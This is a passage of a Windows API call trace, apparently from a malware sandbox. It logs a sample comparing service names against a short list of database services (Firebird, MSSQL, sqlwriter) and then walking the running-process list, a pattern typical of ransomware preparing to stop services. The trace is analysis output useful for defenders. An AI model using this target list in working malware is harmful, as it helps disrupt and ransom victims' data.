returned 1 [0056.781] lstrlenW (lpString="Power") returned 5 [0056.781] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0056.781] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0056.781] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0056.781] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0056.781] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0056.781] lstrlenW (lpString="ProfSvc") returned 7 [0056.781] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0056.781] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0056.781] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0056.781] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0056.781] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0056.781] lstrlenW (lpString="RpcEptMapper") returned 12 [0056.781] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0056.781] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0056.781] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0056.781] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0056.781] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0056.781] lstrlenW (lpString="RpcSs") returned 5 [0056.781] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0056.781] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0056.781] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0056.781] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0056.781] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0056.781] lstrlenW (lpString="SamSs") returned 5 [0056.782] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0056.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0056.782] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0056.782] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0056.782] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0056.782] lstrlenW (lpString="Schedule") returned 8 [0056.782] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0056.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0056.782] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0056.782] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0056.782] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0056.782] lstrlenW (lpString="SecurityHealthService") returned 21 [0056.782] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0056.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0056.782] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0056.782] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0056.782] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0056.782] lstrlenW (lpString="SENS") returned 4 [0056.782] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0056.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0056.782] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0056.782] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0056.782] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0056.782] lstrlenW (lpString="ShellHWDetection") returned 16 [0056.782] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0056.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0056.782] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0056.782] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0056.782] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0056.782] lstrlenW (lpString="Spooler") returned 7 [0056.782] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0056.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0056.782] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0056.782] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0056.783] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0056.783] lstrlenW (lpString="SSDPSRV") returned 7 [0056.783] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0056.783] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0056.783] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0056.783] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0056.783] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0056.783] lstrlenW (lpString="StateRepository") returned 15 [0056.783] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0056.783] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0056.783] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0056.783] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0056.783] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x7010e0 | out: hHeap=0x6a0000) returned 1 [0056.783] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x368 [0057.520] Process32FirstW (in: hSnapshot=0x368, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0057.521] Process32NextW (in: hSnapshot=0x368, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0057.521] lstrlenW (lpString="System") returned 6 [0057.522] Process32NextW (in: hSnapshot=0x368, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0057.522] lstrlenW (lpString="smss.exe") returned 8 [0057.522] Process32NextW (in: hSnapshot=0x368, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0057.523] lstrlenW (lpString="csrss.exe") returned 9 [0057.523] Process32NextW (in: hSnapshot=0x368, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0057.524] lstrlenW (lpString="wininit.exe") returned 11 [0057.524] Process32NextW (in: hSnapshot=0x368, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0057.524] lstrlenW (lpString="csrss.exe") returned 9 [0057.524] Process32NextW (in: hSnapshot=0x368, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0057.525] lstrlenW (lpString="winlogon.exe") returned 12 [0057.525] Process32NextW (in: hSnapshot=0x368, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0057.527] lstrlenW (lpString="services.exe") returned 12 [0057.528] Process32NextW (in: hSnapshot=0x368, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0057.528] lstrlenW (lpString="lsass.exe") returned 9 [0057.528] Process32NextW (in: hSnapshot=0x368, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.529] lstrlenW (lpString="svchost.exe") returned 11 [0057.529] Process32NextW (in: hSnapshot=0x368, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0057.530] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0057.530] Process32NextW (in: hSnapshot=0x368, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0057.531] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0057.531] Process32NextW (in: hSnapshot=0x368, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.531] lstrlenW (lpString="svchost.exe") returned 11 [0057.531] Process32NextW (in: hSnapshot=0x368, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0057.532] lstrlenW (lpString="dwm.exe") returned 7 [0057.532] Process32NextW (in: hSnapshot=0x368, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x56, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.533] lstrlenW (lpString="svchost.exe") returned 11 [0057.533] Process32NextW (in: hSnapshot=0x368, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.534] lstrlenW (lpString="svchost.exe") returned 11 [0057.534] Process32NextW (in: hSnapshot=0x368, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.534] lstrlenW (lpString="svchost.exe") returned 11 [0057.534] Process32NextW (in: hSnapshot=0x368, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.535] lstrlenW (lpString="svchost.exe") returned 11 [0057.535] Process32NextW (in: hSnapshot=0x368, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.536] lstrlenW (lpString="svchost.exe") returned 11 [0057.536] Process32NextW (in: hSnapshot=0x368, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.537] lstrlenW (lpString="svchost.exe") returned 11 [0057.537] Process32NextW (in: hSnapshot=0x368, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.537] lstrlenW (lpString="svchost.exe") returned 11 [0057.537] Process32NextW (in: hSnapshot=0x368, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.538] lstrlenW (lpString="svchost.exe") returned 11 [0057.538] Process32NextW (in: hSnapshot=0x368, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.539] lstrlenW (lpString="svchost.exe") returned 11 [0057.539] Process32NextW (in: hSnapshot=0x368, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0057.540] lstrlenW (lpString="spoolsv.exe") returned 11 [0057.540] Process32NextW (in: hSnapshot=0x368, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.540] lstrlenW (lpString="svchost.exe") returned 11 [0057.540] Process32NextW (in: hSnapshot=0x368, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.541] lstrlenW (lpString="svchost.exe") returned 11 [0057.541] Process32NextW (in: hSnapshot=0x368, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0057.542] lstrlenW (lpString="audiodg.exe") returned 11 [0057.542] Process32NextW (in: hSnapshot=0x368, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0057.543] lstrlenW (lpString="sihost.exe") returned 10 [0057.543] Process32NextW (in: hSnapshot=0x368, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.544] lstrlenW (lpString="svchost.exe") returned 11 [0057.544] Process32NextW (in: hSnapshot=0x368, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0057.545] lstrlenW (lpString="taskhostw.exe") returned 13 [0057.545] Process32NextW (in: hSnapshot=0x368, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0057.545] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0057.545] Process32NextW (in: hSnapshot=0x368, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0057.546] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0057.546] Process32NextW (in: hSnapshot=0x368, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0057.547] lstrlenW (lpString="explorer.exe") returned 12 [0057.547] Process32NextW (in: hSnapshot=0x368, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0057.547] lstrlenW (lpString="Memory Compression") returned 18 [0057.548] Process32NextW (in: hSnapshot=0x368, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0057.548] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0057.548] Process32NextW (in: hSnapshot=0x368, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0057.549] lstrlenW (lpString="SearchUI.exe") returned 12 [0057.549] Process32NextW (in: hSnapshot=0x368, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0057.550] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0057.550] Process32NextW (in: hSnapshot=0x368, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0057.550] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0057.550] Process32NextW (in: hSnapshot=0x368, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0057.551] lstrlenW (lpString="taskhostw.exe") returned 13 [0057.551] Process32NextW (in: hSnapshot=0x368, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0057.552] lstrlenW (lpString="UsoClient.exe") returned 13 [0057.552] Process32NextW (in: hSnapshot=0x368, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0057.553] lstrlenW (lpString="taskhostw.exe") returned 13 [0057.553] Process32NextW (in: hSnapshot=0x368, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0057.553] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0057.553] Process32NextW (in: hSnapshot=0x368, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0057.554] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0057.554] Process32NextW (in: hSnapshot=0x368, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0057.555] lstrlenW (lpString="msoia.exe") returned 9 [0057.555] Process32NextW (in: hSnapshot=0x368, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0057.556] lstrlenW (lpString="msoia.exe") returned 9 [0057.556] Process32NextW (in: hSnapshot=0x368, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0057.556] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0057.556] Process32NextW (in: hSnapshot=0x368, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver-fireplace.exe")) returned 1 [0057.557] lstrlenW (lpString="screensaver-fireplace.exe") returned 25 [0057.557] Process32NextW (in: hSnapshot=0x368, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="xml-upper.exe")) returned 1 [0057.996] lstrlenW (lpString="xml-upper.exe") returned 13 [0057.996] Process32NextW (in: hSnapshot=0x368, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="defeat preston.exe")) returned 1 [0057.997] lstrlenW (lpString="defeat preston.exe") returned 18 [0057.997] Process32NextW (in: hSnapshot=0x368, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="surveillance.exe")) returned 1 [0057.998] lstrlenW (lpString="surveillance.exe") returned 16 [0057.998] Process32NextW (in: hSnapshot=0x368, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="meanwhile-legends.exe")) returned 1 [0057.998] lstrlenW (lpString="meanwhile-legends.exe") returned 21 [0057.998] Process32NextW (in: hSnapshot=0x368, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="deemed.exe")) returned 1 [0057.999] lstrlenW (lpString="deemed.exe") returned 10 [0057.999] Process32NextW (in: hSnapshot=0x368, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="scored-prices.exe")) returned 1 [0058.000] lstrlenW (lpString="scored-prices.exe") returned 17 [0058.000] Process32NextW (in: hSnapshot=0x368, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="understood.exe")) returned 1 [0058.001] lstrlenW (lpString="understood.exe") returned 14 [0058.001] Process32NextW (in: hSnapshot=0x368, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="lee.exe")) returned 1 [0058.001] lstrlenW (lpString="lee.exe") returned 7 [0058.001] Process32NextW (in: hSnapshot=0x368, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, 